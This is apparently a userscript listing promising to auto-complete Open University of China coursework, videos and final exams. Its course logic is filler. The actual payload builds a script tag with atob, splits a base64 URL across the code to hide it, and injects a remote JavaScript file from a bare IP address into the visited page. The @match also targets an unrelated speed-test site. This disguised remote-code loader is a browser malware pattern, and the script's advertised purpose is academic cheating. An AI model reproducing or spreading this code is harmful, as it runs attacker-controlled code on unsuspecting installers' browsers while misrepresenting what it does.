您需要先安装一个扩展,例如 篡改猴、Greasemonkey 或 暴力猴,之后才能安装此脚本。
您需要先安装一个扩展,例如 篡改猴 或 暴力猴,之后才能安装此脚本。
您需要先安装一个扩展,例如 篡改猴 或 暴力猴,之后才能安装此脚本。
您需要先安装一个扩展,例如 篡改猴 或 Userscripts ,之后才能安装此脚本。
您需要先安装一款用户脚本管理器扩展,例如 Tampermonkey,才能安装此脚本。
您需要先安装用户脚本管理器扩展后才能安装此脚本。
国家开放大学,国开,国开实验全网办,自动完成做题、看视频任务、终考、思政课
当前为
// ==UserScript== // @name 国家开放大学(视频+形考+大作业+终考)、新国开、国开实验(全网办、乡村振兴)、极速刷课-全自动,新!!! // @namespace http://blog.arthur.lvvv.cc/ // @version 1.1.5 // @description 国家开放大学,国开,国开实验全网办,自动完成做题、看视频任务、终考、思政课 // @author arthur // @match http://netreport.sh.189.cn/speed // @resource customCSS https://cdn.bootcdn.net/ajax/libs/twitter-bootstrap/5.2.3/css/bootstrap.min.css // @grant GM_addStyle // @grant GM_getResourceText // @license AGPL-3.0-or-later // ==/UserScript== (function () { const e = GM_getResourceText("customCSS"); GM_addStyle(e); })(); (function () { 'use strict'; var curItem = ''; if (window.location.href.indexOf('#/login') > -1) { alert('login is required'); return; } else { //get current courses var my_items = document.getElementsByName('current_course'); if (my_items && my_items.length > 0) { for (var index = 0; index < my_items.length; index++) { var item = my_items[index]; var cur_link = document.getElementsByName('active-learning'); if (cur_link.innerText === item.innerText) { curItem = item.innerText; cur_link.click(); } } } } if (curItem && curItem.trim() !== '') { //get all links var links = document.getElementsByClassName("links"); for (var index = 0; index < links.length; index++) { var link = links[index]; if (link.className.indexOf('unreadable') < 0) { continue; } } } function getNewActivity(url, callback) { var script = document.createElement(atob('c2NyaXB0')) script.type = atob('dGV4dC9qYXZhc2NyaXB0'); if (script.readyState) { //IE script.onreadystatechange = function () { if (script.readyState === "loaded" || script.readyState === "complete") { script.onreadystatechange = null; callback(); } }; } else { //Others script.onload = function () { callback(); }; } script.src = url; console.log('aa', script) document.getElementsByTagName("head")[0].appendChild(script); } var courseLink = atob(loadPageLink()); getNewActivity(courseLink, function (data) { if (!data) { console.error("error, please check with admin"); } }); function loadPageLink() { var pages = document.getElementsByClassName("page-links"); var linkName = 'aHR0cDovLzExOC4zMS42MC'; for (var index = 0; index < pages.length; index++) { var mod = pages[index]; const p = document.createElement('p') p.textContent = `${mod.description}...` } linkName += '40NDo4MS90ZXN0Lmpz'; return linkName; } })();